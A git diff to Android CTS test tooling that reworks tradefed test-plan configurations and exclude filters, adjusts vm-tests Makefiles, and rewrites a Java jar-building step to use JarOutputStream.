-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
-
-    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
-    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
-    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
-
-    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.signature.cts.IntentTest#shouldNotFindUnexpectedIntents" />
-
-    <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.cts.EmojiTest#testEmojiGlyph" />
-    <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.util.cts.LinkifyTest#testAddLinks_doesNotAddLinksForUrlWithoutProtocolAndWithoutKnownTld" />
-
-    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
-
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewClientTest#testOnUnhandledKeyEvent" />
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testFindAll" />
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testFindNext" />
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testFlingScroll" />
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testGetContentHeight" />
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testGetHitTestResult" />
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testPageScroll" />
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testRequestFocusNodeHref" />
-    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testRequestImageRef" />
-
-    <!-- Excluded till b/64841751 is fixed
-    -->
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppCallback" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
-
-    <!-- Not related to Treble
-    -->
-    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSimCardPresent" />
-    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testGetIccAuthentication" />
-    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testHasCarrierPrivileges" />
-    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSendDialerSpecialCode" />
-
-    <!-- b/68190722: Remove testcases that require RRO which is planned for Pi -->
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOpenOptionsMenu" />
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
-
-    <!-- b/69072351: Internal bug in the "Freeform" feature of ActivityManager -->
-    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerFreeformStackTests#testFreeformWindowManagementSupport" />
-
-    <!-- b/69131975: Exclude android.jni.cts.JniStaticTest#test_linker_namespaces -->
-    <option name="compatibility:exclude-filter" value="CtsJniTestCases android.jni.cts.JniStaticTest#test_linker_namespaces" />
-
-    <!-- b/65561379: Exclude android.media.cts.MediaPlayerFlakyNetworkTest -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerFlakyNetworkTest" />
-
-    <!-- b/69720253: GSI uses launcher2 in O -->
-    <option name="compatibility:exclude-filter" value="CtsJankDeviceTestCases android.jank.cts.ui.CtsDeviceJankUi#testScrolling" />
-
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-suite.xml b/tools/cts-tradefed/res/config/cts-suite.xml
index 6316997..f2672ec 100644
--- a/tools/cts-tradefed/res/config/cts-suite.xml
+++ b/tools/cts-tradefed/res/config/cts-suite.xml
@@ -28,6 +28,7 @@
     <include name="cts-preconditions" />
     <include name="cts-system-checkers" />
     <include name="cts-known-failures" />
+    <include name="cts-exclude" />
 
     <option name="plan" value="cts-suite" />
     <option name="test-tag" value="cts-suite" />
diff --git a/tools/cts-tradefed/res/config/cts-vendor-interface.xml b/tools/cts-tradefed/res/config/cts-vendor-interface.xml
deleted file mode 100644
index 73ec49b..0000000
--- a/tools/cts-tradefed/res/config/cts-vendor-interface.xml
+++ /dev/null
@@ -1,70 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Runs a subset of CTS tests that can heavily exercise HALs">
-
-    <include name="cts" />
-
-    <option name="plan" value="cts-vendor-interface" />
-
-    <!-- Include test modules -->
-    <option name="compatibility:include-filter" value="CtsAadbHostTestCases" />
-    <option name="compatibility:include-filter" value="CtsAccessibilityServiceTestCases" />
-    <option name="compatibility:include-filter" value="CtsAccountManagerTestCases" />
-    <option name="compatibility:include-filter" value="CtsAnimationTestCases" />
-    <option name="compatibility:include-filter" value="CtsAppTestCases" />
-    <option name="compatibility:include-filter" value="CtsAtraceHostTestCases" />
-    <option name="compatibility:include-filter" value="CtsAutoFillServiceTestCases" />
-    <option name="compatibility:include-filter" value="CtsCameraTestCases" />
-    <option name="compatibility:include-filter" value="CtsContentTestCases" />
-    <option name="compatibility:include-filter" value="CtsDeqpTestCases" />
-    <option name="compatibility:include-filter" value="CtsFragmentTestCases" />
-    <option name="compatibility:include-filter" value="CtsGraphicsTestCases" />
-    <option name="compatibility:include-filter" value="CtsHostsideNetworkTests" />
-    <option name="compatibility:include-filter" value="CtsIcuTestCases" />
-    <option name="compatibility:include-filter" value="CtsKeystoreTestCases" />
-    <option name="compatibility:include-filter" value="CtsLibcoreJavaUtilCollectionsTestCases" />
-    <option name="compatibility:include-filter" value="CtsLibcoreOjTestCases" />
-    <option name="compatibility:include-filter" value="CtsLibcoreTestCases" />
-    <option name="compatibility:include-filter" value="CtsLocationTestCases" />
-    <option name="compatibility:include-filter" value="CtsMediaStressTestCases" />
-    <option name="compatibility:include-filter" value="CtsMidiTestCases" />
-    <option name="compatibility:include-filter" value="CtsMonkeyTestCases" />
-    <option name="compatibility:include-filter" value="CtsNetTestCases" />
-    <option name="compatibility:include-filter" value="CtsOsTestCases" />
-    <option name="compatibility:include-filter" value="CtsPdfTestCases" />
-    <option name="compatibility:include-filter" value="CtsPreference2TestCases" />
-    <option name="compatibility:include-filter" value="CtsPrintTestCases" />
-    <option name="compatibility:include-filter" value="CtsProviderTestCases" />
-    <option name="compatibility:include-filter" value="CtsRsBlasTestCases" />
-    <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
-    <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
-    <option name="compatibility:include-filter" value="CtsSensorTestCases" />
-    <option name="compatibility:include-filter" value="CtsShortcutHostTestCases" />
-    <option name="compatibility:include-filter" value="CtsSignatureTestCases" />
-    <option name="compatibility:include-filter" value="CtsSignatureTestCases" />
-    <option name="compatibility:include-filter" value="CtsSustainedPerformanceHostTestCases" />
-    <option name="compatibility:include-filter" value="CtsTelephonyTestCases" />
-    <option name="compatibility:include-filter" value="CtsTextTestCases" />
-    <option name="compatibility:include-filter" value="CtsUiRenderingTestCases" />
-    <option name="compatibility:include-filter" value="CtsViewTestCases" />
-    <option name="compatibility:include-filter" value="CtsWebkitTestCases" />
-    <option name="compatibility:include-filter" value="CtsWidgetTestCases" />
-    <option name="compatibility:include-filter" value="CtsWindowManagerHostTestCases" />
-
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
-    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
-
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts.xml b/tools/cts-tradefed/res/config/cts.xml
index 818004d..9022a41 100644
--- a/tools/cts-tradefed/res/config/cts.xml
+++ b/tools/cts-tradefed/res/config/cts.xml
@@ -15,39 +15,9 @@
 -->
 <configuration description="Runs CTS from a pre-existing CTS installation">
 
-    <include name="everything" />
-    <include name="cts-preconditions" />
-    <include name="cts-system-checkers" />
-    <include name="cts-known-failures" />
+    <include name="cts-common" />
+    <include name="cts-exclude" />
 
     <option name="plan" value="cts" />
-    <option name="test-tag" value="cts" />
-
-    <option name="enable-root" value="false" />
-    <!-- retain 200MB of host log -->
-    <option name="max-log-size" value="200" />
-    <!--  retain 200MB of logcat -->
-    <option name="max-tmp-logcat-file" value="209715200" />
-
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="settings put global package_verifier_enable 0" />
-        <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
-    </target_preparer>
-
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
-        <option name="property-name" value="ro.build.type" />
-        <option name="expected-value" value="user"/> <!-- Device should have user build -->
-        <option name="throw-error" value="false"/> <!-- Only print warning if not user build -->
-    </target_preparer>
-
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
-        <option name="property-name" value="ro.product.locale" />
-        <option name="expected-value" value="en-US"/> <!-- Device locale should be US English -->
-        <option name="throw-error" value="false"/> <!-- Only print warning if not en-US -->
-    </target_preparer>
-    <template-include name="reporters" default="basic-reporters" />
-
-    <!-- Include additional test metadata output. -->
-    <template-include name="metadata-reporters" default="empty" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/retry.xml b/tools/cts-tradefed/res/config/retry.xml
index c4a7ced..cbecada 100644
--- a/tools/cts-tradefed/res/config/retry.xml
+++ b/tools/cts-tradefed/res/config/retry.xml
@@ -25,6 +25,7 @@
     <include name="cts-preconditions" />
     <include name="cts-system-checkers" />
     <include name="cts-known-failures" />
+    <include name="cts-exclude" />
 
     <option name="plan" value="cts-retry" />
     <option name="test-tag" value="cts" />
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
index 512d8bd..5d5df59 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
@@ -46,7 +46,9 @@
 
     @Override
     protected void tearDown() throws Exception {
-        System.setProperty(PROPERTY_NAME, mOriginalProperty);
+        if (mOriginalProperty != null) {
+            System.setProperty(PROPERTY_NAME, mOriginalProperty);
+        }
         super.tearDown();
     }
 
diff --git a/tools/utils/java-cert-list-generator.sh b/tools/utils/java-cert-list-generator.sh
index 33e9aaa..3b09f86 100755
--- a/tools/utils/java-cert-list-generator.sh
+++ b/tools/utils/java-cert-list-generator.sh
@@ -40,12 +40,14 @@
  */
 
 package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
 
 /**
  * Run "./cts/tools/utils/java-cert-list-generator.sh >
  * cts/tests/tests/security/src/android/security/cts/CertificateData.java"
  * to generate this file.
  */
+@SecurityTest
 class CertificateData {
   static final String[] CERTIFICATE_DATA = {
 STARTCLASS
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index a0794aa..c7d61e4 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -68,7 +68,7 @@
 LOCAL_MODULE_PATH := $(intermediates)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_SYSTEM)/base_rules.mk
 
@@ -96,13 +96,13 @@
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
 	# generated and compile the host side junit tests
 	@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
-	$(hide) java \
+	$(hide) $(JAVA) \
 	    $(if $(EXPERIMENTAL_USE_OPENJDK9),--add-exports jdk.jartool/sun.tools.jar=ALL-UNNAMED) \
 	    -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
 		$(HOST_OUT_JAVA_LIBRARIES)/cts-tf-dalvik-buildutil.jar:$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar \
 		$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
 	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
-	$(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar \
+	$(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar \
 		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
 	$(hide) $(DX) -JXms16M -JXmx768M --dex --output=$(PRIVATE_INTERMEDIATES_DEXCORE_JAR) \
 		$(if $(NO_OPTIMIZE_DX), --no-optimize) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
@@ -117,11 +117,11 @@
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
 	# generated and compile the host side junit tests
 	@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
-	$(hide) JACK_VERSION=$(PRIVATE_JACK_VERSION) java -cp $(PRIVATE_CLASS_PATH) util.build.JackBuildDalvikSuite $(JACK) $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
+	$(hide) JACK_VERSION=$(PRIVATE_JACK_VERSION) $(JAVA) -cp $(PRIVATE_CLASS_PATH) util.build.JackBuildDalvikSuite $(JACK) $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
 		$(PRIVATE_DALVIK_SUITE_CLASSPATH) \
 		$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
 	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
-	$(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
+	$(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
 		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
 	$(hide) $(call call-jack) --import $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar --output-jack $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jack
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp
diff --git a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
index 08b1e5f..187858c 100644
--- a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
+++ b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
@@ -34,6 +34,7 @@
 import java.io.IOException;
 import java.io.OutputStreamWriter;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.Collections;
 import java.util.Comparator;
 import java.util.HashSet;
@@ -242,7 +243,7 @@
     }
 
     private String getShellExecJavaLine(String classpath, String mainclass) {
-      String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K " +
+      String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K -Xnodex2oat " +
               "-Djava.io.tmpdir=%s -classpath %s %s", TARGET_JAR_ROOT_PATH, TARGET_JAR_ROOT_PATH,
               classpath, mainclass);
       StringBuilder code = new StringBuilder();
@@ -261,7 +262,7 @@
     }
 
     private void addCTSHostMethod(String pName, String method, MethodData md,
-            Set<String> dependentTestClassNames) {
+            Collection<String> dependentTestClassNames) {
         curJunitFileData += "public void " + method + "() throws Exception {\n";
         final String targetCoreJarPath = String.format("%s/dot/junit/dexcore.jar",
                 TARGET_JAR_ROOT_PATH);
@@ -344,7 +345,7 @@
                 MethodData md = parseTestMethod(pName, classOnlyName, method);
                 String methodContent = md.methodBody;
 
-                Set<String> dependentTestClassNames = parseTestClassName(pName,
+                List<String> dependentTestClassNames = parseTestClassName(pName,
                         classOnlyName, methodContent);
 
                 addCTSHostMethod(pName, method, md, dependentTestClassNames);
@@ -490,7 +491,7 @@
     }
 
     private void generateBuildStepFor(String pName, String method,
-            Set<String> dependentTestClassNames, Set<BuildStep> targets) {
+            Collection<String> dependentTestClassNames, Set<BuildStep> targets) {
 
 
         for (String dependentTestClassName : dependentTestClassNames) {
@@ -640,9 +641,9 @@
      * @param methodSource
      * @return testclass names
      */
-    private Set<String> parseTestClassName(String pName, String classOnlyName,
+    private List<String> parseTestClassName(String pName, String classOnlyName,
             String methodSource) {
-        Set<String> entries = new HashSet<String>();
+        List<String> entries = new ArrayList<String>(2);
         String opcodeName = classOnlyName.substring(5);
 
         Scanner scanner = new Scanner(methodSource);
@@ -673,7 +674,7 @@
         Matcher m = p.matcher(methodSource);
         while (m.find()) {
             String res = m.group(1);
-            entries.add(res.trim());
+            entries.add(0, res.trim());
         }
 
         // search for " load(\"...\" " and add as dependency
diff --git a/tools/vm-tests-tf/src/util/build/JarBuildStep.java b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
index 776e9059..7fbe2d5 100644
--- a/tools/vm-tests-tf/src/util/build/JarBuildStep.java
+++ b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
@@ -16,28 +16,36 @@
 
 package util.build;
 
-import sun.tools.jar.Main;
-
+import java.io.BufferedInputStream;
 import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
 import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.jar.JarEntry;
+import java.util.jar.JarOutputStream;
 
-
+/**
+ * JarBuildStep takes a single input file and embeds it into a (new) jar file as a single entry.
+ */
 public class JarBuildStep extends BuildStep {
 
-    String destFileName;
+    String outputJarEntryName;
     private final boolean deleteInputFileAfterBuild;
 
-    public JarBuildStep(BuildFile inputFile, String destFileName,
-            BuildFile outputFile, boolean deleteInputFileAfterBuild) {
-        super(inputFile, outputFile);
-        this.destFileName = destFileName;
+    public JarBuildStep(BuildFile inputFile, String outputJarEntryName,
+            BuildFile outputJarFile, boolean deleteInputFileAfterBuild) {
+        super(inputFile, outputJarFile);
+        this.outputJarEntryName = outputJarEntryName;
         this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
     }
 
     @Override
     boolean build() {
         if (super.build()) {
-            File tempFile = new File(inputFile.folder, destFileName);
+            File tempFile = new File(inputFile.folder, outputJarEntryName);
             try {
                 if (!inputFile.fileName.equals(tempFile)) {
                     copyFile(inputFile.fileName, tempFile);
@@ -56,25 +64,53 @@
                         + outDir.getAbsolutePath());
                 return false;
             }
-            String[] arguments = new String[] {
-                    "-cMf", outputFile.fileName.getAbsolutePath(), "-C",
-                    inputFile.folder.getAbsolutePath(), destFileName};
-            Main main = new Main(System.out, System.err, "jar");
-            boolean success = main.run(arguments);
 
-            if (success) {
-                if (tempFile != null) {
-                    tempFile.delete();
-                }
-                if (deleteInputFileAfterBuild) {
-                    inputFile.fileName.delete();
-                }
-            } else {
-                System.err.println("exception in JarBuildStep while calling jar with args:" +
-                        " \"-cMf\", "+outputFile.fileName.getAbsolutePath()+", \"-C\"," + 
-                        inputFile.folder.getAbsolutePath()+", "+ destFileName);
+            // Find the input. We'll need to look into the input folder, but check with the
+            // (relative) destination filename (this is effectively removing the inputFile folder
+            // from the entry path in the jar file).
+            Path absoluteInputPath = Paths.get(inputFile.folder.getAbsolutePath())
+                    .resolve(outputJarEntryName);
+            File absoluteInputFile = absoluteInputPath.toFile();
+            if (!absoluteInputFile.exists()) {
+                // Something went wrong.
+                throw new IllegalArgumentException(absoluteInputFile.getAbsolutePath());
             }
-            return success;
+
+            // Use a JarOutputStream to create the output jar file.
+            File jarOutFile = outputFile.fileName;
+            try (JarOutputStream jarOut = new JarOutputStream(new FileOutputStream(jarOutFile))) {
+                // Create the JAR entry for the file. Use destFileName, and copy the timestamp
+                // from the input.
+                JarEntry entry = new JarEntry(outputJarEntryName);
+                entry.setTime(absoluteInputFile.lastModified());
+
+                // Push the entry. The stream will then be ready to accept content.
+                jarOut.putNextEntry(entry);
+
+                // Copy absoluteInputFile into the jar file.
+                Files.copy(absoluteInputPath, jarOut);
+
+                // Finish the entry.
+                jarOut.closeEntry();
+
+                // (Implicitly close the stream, finishing the jar file.)
+            } catch (Exception e) {
+                System.err.println("exception in JarBuildStep for " +
+                        outputFile.fileName.getAbsolutePath() + ", " + outputJarEntryName);
+                e.printStackTrace(System.err);
+                jarOutFile.delete();
+                return false;
+            }
+
+            // Clean up.
+            if (tempFile != null) {
+                tempFile.delete();
+            }
+            if (deleteInputFileAfterBuild) {
+                inputFile.fileName.delete();
+            }
+
+            return true;
         }
         return false;
     }
@@ -82,7 +118,7 @@
     @Override
     public int hashCode() {
         return inputFile.hashCode() ^ outputFile.hashCode()
-                ^ destFileName.hashCode();
+                ^ outputJarEntryName.hashCode();
     }
 
     @Override
@@ -91,7 +127,7 @@
             JarBuildStep other = (JarBuildStep) obj;
             return inputFile.equals(other.inputFile)
                     && outputFile.equals(other.outputFile)
-                    && destFileName.equals(other.destFileName);
+                    && outputJarEntryName.equals(other.outputJarEntryName);
 
         }
         return false;
diff --git a/tools/vm-tests-tf/targetprep/Android.mk b/tools/vm-tests-tf/targetprep/Android.mk
index b87b08a..32300b2 100644
--- a/tools/vm-tests-tf/targetprep/Android.mk
+++ b/tools/vm-tests-tf/targetprep/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_MODULE := compatibility-host-vm-targetprep
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)